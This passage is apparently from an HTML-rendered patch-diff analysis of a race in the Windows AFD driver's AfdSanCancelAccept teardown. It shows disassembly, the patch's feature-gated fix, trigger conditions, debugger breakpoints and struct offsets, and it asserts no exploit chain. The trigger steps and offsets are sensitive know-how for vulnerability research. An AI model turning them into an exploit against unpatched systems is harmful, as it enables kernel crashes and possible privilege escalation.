&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rcx = context object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; clear field at conn+0x158&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObfDereferenceObject&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; deref context (not conn)&lt;/span&gt;

&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E206&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;AfdPriorityBoost&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E20C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rcx = current IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E20F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Information = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E214&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000120h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_CANCELLED&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E21B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCompleteRequest&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; completes ONLY this IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E227&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E250&lt;/span&gt;

&lt;span class="c1"&gt;; List-corruption fail-fast:&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E229&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E22E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;

&lt;span class="c1"&gt;; Null-Flink early release:&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E230&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E235&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseInStackQueuedSpinLockFromDpcLevel&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E241&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E244&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoReleaseCancelSpinLock&lt;/span&gt;

&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E250&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E255&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E25A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E25F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E263&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E264&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What the patch changes (patched &lt;code&gt;AfdSanCancelAccept @ 0x1C007F120&lt;/code&gt;).&lt;/strong&gt; After the same "already closed" check, the patched routine evaluates &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; (&lt;code&gt;call EvaluateCurrentState&lt;/code&gt; at &lt;code&gt;0x1C007F1C7&lt;/code&gt;). If the feature is enabled it sets &lt;code&gt;conn+0x91 = 1&lt;/code&gt; (&lt;code&gt;0x1C007F1D0&lt;/code&gt;) and runs a drain loop over the list head at &lt;code&gt;conn+0x70&lt;/code&gt; (&lt;code&gt;0x1C007F1D7&lt;/code&gt;–&lt;code&gt;0x1C007F20C&lt;/code&gt;), unlinking every entry into a local chain without resetting the connection in that pass. If the feature is disabled it branches to &lt;code&gt;loc_1C007F20E&lt;/code&gt;, which is the original endpoint-deref + &lt;code&gt;memset(conn+0x50, 0, 0x48)&lt;/code&gt; + type-reset sequence — identical to the unpatched code. After releasing the first spinlock it re-evaluates the feature (&lt;code&gt;0x1C007F251&lt;/code&gt;); when enabled it completes each drained IRP with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; outside the lock (&lt;code&gt;0x1C007F26D&lt;/code&gt;–&lt;code&gt;0x1C007F2C5&lt;/code&gt;), then &lt;strong&gt;re-acquires&lt;/strong&gt; the connection spinlock via &lt;code&gt;KeAcquireInStackQueuedSpinLock&lt;/code&gt; (&lt;code&gt;0x1C007F2D0&lt;/code&gt;) and only then runs the reset sequence (&lt;code&gt;0x1C007F2E5&lt;/code&gt;–&lt;code&gt;0x1C007F308&lt;/code&gt;). Ordering when enabled: &lt;strong&gt;drain → release lock → complete siblings → re-acquire lock → reset&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Open an AFD endpoint&lt;/strong&gt; and reach the AFD San accept path (&lt;code&gt;AfdSanAcceptCore @ 0x1C007D0B8&lt;/code&gt;), which installs &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; as the accept IRP's cancel routine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Queue more than one IRP on the connection's pending list at &lt;code&gt;conn+0x70&lt;/code&gt;.&lt;/strong&gt; The insert paths &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; / &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; add IRPs (entry at &lt;code&gt;irp+0xA8&lt;/code&gt;) to this list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cancel one queued IRP&lt;/strong&gt; (endpoint close/abort) so &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; runs while at least one sibling IRP is still on the list. In the unpatched build (and in the patched build with &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; disabled) the connection is reset without draining the siblings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect.&lt;/strong&gt; When a surviving sibling IRP is subsequently cancelled/completed, &lt;code&gt;AfdSanCancelRequest @ 0x1C007E3A0&lt;/code&gt; re-acquires the connection lock and operates on list linkage whose head (&lt;code&gt;conn+0x70/+0x78&lt;/code&gt;) was zeroed by the reset &lt;code&gt;memset&lt;/code&gt;, on a connection whose type tag is now &lt;code&gt;0xAFD0&lt;/code&gt;. The integrity checks in that path (&lt;code&gt;cmp [Flink+8], entry&lt;/code&gt; etc.) fail, driving a &lt;code&gt;__fastfail(3)&lt;/code&gt; / &lt;code&gt;int 29h&lt;/code&gt; bugcheck. If the reset connection has already been re-handed-out by the AFD SLIST allocator, the sibling operates on a different live object.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because this is a cancel/teardown race across two IRPs on the same connection, reliable triggering requires racing a cancel against at least one still-queued sibling IRP.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The unpatched teardown leaves sibling IRPs linked on a connection object that has been reset in place: the endpoint reference at &lt;code&gt;conn+0x50&lt;/code&gt; is dropped, the 0x48-byte region at &lt;code&gt;conn+0x50&lt;/code&gt; (including the pending-list head at &lt;code&gt;conn+0x70/+0x78&lt;/code&gt;) is zeroed, and the type tag is set to the recycled marker &lt;code&gt;0xAFD0&lt;/code&gt;. The object is &lt;strong&gt;not&lt;/strong&gt; freed to the pool in this routine — there is no &lt;code&gt;ExFreePool&lt;/code&gt; here; it is recycled in place and returned to the AFD connection allocator for reuse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Demonstrable impact.&lt;/strong&gt;
- A subsequent cancel/completion of a stale sibling IRP hits the list-integrity checks in &lt;code&gt;AfdSanCancelRequest&lt;/code&gt; on a zeroed list head, producing a &lt;code&gt;__fastfail&lt;/code&gt;/&lt;code&gt;int 29h&lt;/code&gt; bugcheck — a reliable local denial of service.
- Because the connection is recycled rather than freed, a stale IRP can also end up operating on a re-issued connection object under lock (use of a recycled object, CWE-416). Turning that into a controlled read/write would require winning the reallocation race and controlling the reused object's contents; that is not demonstrable from these binaries and is not claimed here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why Medium, not Critical.&lt;/strong&gt;
- The fix is &lt;strong&gt;feature-staged&lt;/strong&gt;: the drain, the teardown flag, and the device-attachment check are all gated behind &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt;. With the feature disabled the patched binary still runs the original unsafe path, so the vulnerable behaviour is not unconditionally removed.
- The object is reset/recycled, not pool-freed, so there is no clean pool-allocation UAF primitive and no demonstrable arbitrary read/write.
- Reaching the bug requires the AFD San accept/redirect path plus a cancel-versus-sibling race.&lt;/p&gt;
&lt;p&gt;No exploit chain (pool spray, information leak, KASLR defeat, SMEP/CFG/HVCI bypass, or token theft) is asserted, because none is provable from the binaries.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Target: &lt;code&gt;afd_unpatched.sys&lt;/code&gt; (or &lt;code&gt;afd_patched.sys&lt;/code&gt; with &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; disabled), kernel debugger attached. Symbols resolve &lt;code&gt;afd!AfdSanCancelAccept&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; (1) Entry to the teardown/cancel routine
bp afd_unpatched+0x7e110
; rdx = IRP being cancelled. context = *(*(rdx+0xB8)+0x20); connection = *(context+0x18) (rdi).

; (2) Start of the reset sequence (no drain performed first)
bp afd_unpatched+0x7e1a7
; rdi = connection. Inspect the pending-list head at rdi+0x70 / rdi+0x78:
; if Flink (rdi+0x70) != &amp;amp;rdi+0x70, sibling IRPs remain and will be left dangling.

; (3) The memset that resets the connection (and zeroes the list head)
bp afd_unpatched+0x7e1ba
; rcx = rdi+0x50, r8d = 0x48 — confirm the range covers rdi+0x70/+0x78.

; (4) Cancel routine for the SURVIVING sibling IRPs
bp afd_unpatched+0x7e3a0   ; AfdSanCancelRequest
; Runs later on a stale sibling IRP; it re-acquires the connection lock and
; manipulates list linkage on the (now zeroed) head — the fault/failfast site.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register / memory&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7e110&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt; = IRP; &lt;code&gt;*(*(rdx+0xB8)+0x20)&lt;/code&gt; → context; &lt;code&gt;*(context+0x18)&lt;/code&gt; → connection&lt;/td&gt;
&lt;td&gt;Resolves the connection being torn down.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7e1a7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdi+0x70&lt;/code&gt; (Flink), &lt;code&gt;rdi+0x78&lt;/code&gt; (Blink)&lt;/td&gt;
&lt;td&gt;If Flink ≠ &lt;code&gt;&amp;amp;rdi+0x70&lt;/code&gt;, siblings remain undrained.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7e1ba&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx = rdi+0x50&lt;/code&gt;, &lt;code&gt;r8d = 0x48&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirms the reset range covers the list head at &lt;code&gt;+0x70&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7e1f4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[rdi+0x158]&lt;/code&gt; after &lt;code&gt;xchg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Field at &lt;code&gt;+0x158&lt;/code&gt; cleared during teardown.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x7e3a0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;connection as seen by a surviving sibling IRP&lt;/td&gt;
&lt;td&gt;Where the stale reference is used after reset.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Connection-structure layout&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Type tag (&lt;code&gt;0xAFD0&lt;/code&gt; written on reset/recycle)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Byte set to 1 on reset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State flags (bit &lt;code&gt;0x800&lt;/code&gt; = closed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;KSPIN_LOCK&lt;/code&gt; (connection lock)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Endpoint back-pointer (&lt;code&gt;AfdDereferenceEndpointInline&lt;/code&gt;); start of the 0x48-byte reset &lt;code&gt;memset&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending-IRP list head Flink (initialised to self; inside the reset range)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x78&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending-IRP list head Blink&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x91&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Teardown flag (&lt;strong&gt;patched only&lt;/strong&gt;, feature-gated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x158&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Field cleared by &lt;code&gt;xchg&lt;/code&gt; during teardown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant (behavioural)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanCancelAccept @ 0x1C007E110 → 0x1C007F120&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.60&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds feature-gated pending-IRP drain + teardown flag &lt;code&gt;conn+0x91&lt;/code&gt;; old (undrained) path retained under the disabled branch. &lt;strong&gt;Primary finding.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanAcceptCore @ 0x1C007D0B8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.98&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Installs the (relocated) &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; as the accept IRP cancel routine; connection init refactor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanFastCompleteRequest @ 0x1C007FE70 → 0x1C0080F80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.97&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;conn+0x91&lt;/code&gt; teardown-flag gate before list insert; cancel routine relocated to &lt;code&gt;AfdSanCancelRequest @ 0x1C007F4D0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanRedirectRequest @ 0x1C0081074 → 0x1C0082238&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.95&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same teardown-flag gate; cancel routine relocated.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdCreateConnection @ 0x1C0055AB0 → 0x1C0055BF0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.10&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;New routine adds &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; device-attachment validation + access/option checks; original logic retained as &lt;code&gt;AfdCreateConnection_Old @ 0x1C0007DE4&lt;/code&gt;. Feature-gated.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioural but not directly exploitable&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00589F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.91&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;Feature-gated dispatch between old and new connection-creation paths.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C003F0CC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.76&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;Feature-gated dispatch between &lt;code&gt;AfdCreateConnection&lt;/code&gt; (&lt;code&gt;0x1C0055AB0&lt;/code&gt;) and new &lt;code&gt;0x1C0055BF0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C005591C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.93&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;Connection/endpoint SLIST allocator; feature-gated alloc path + refactor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0057ED0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.92&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;IOCTL dispatch; connection-alloc path gated; stack layout shift.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
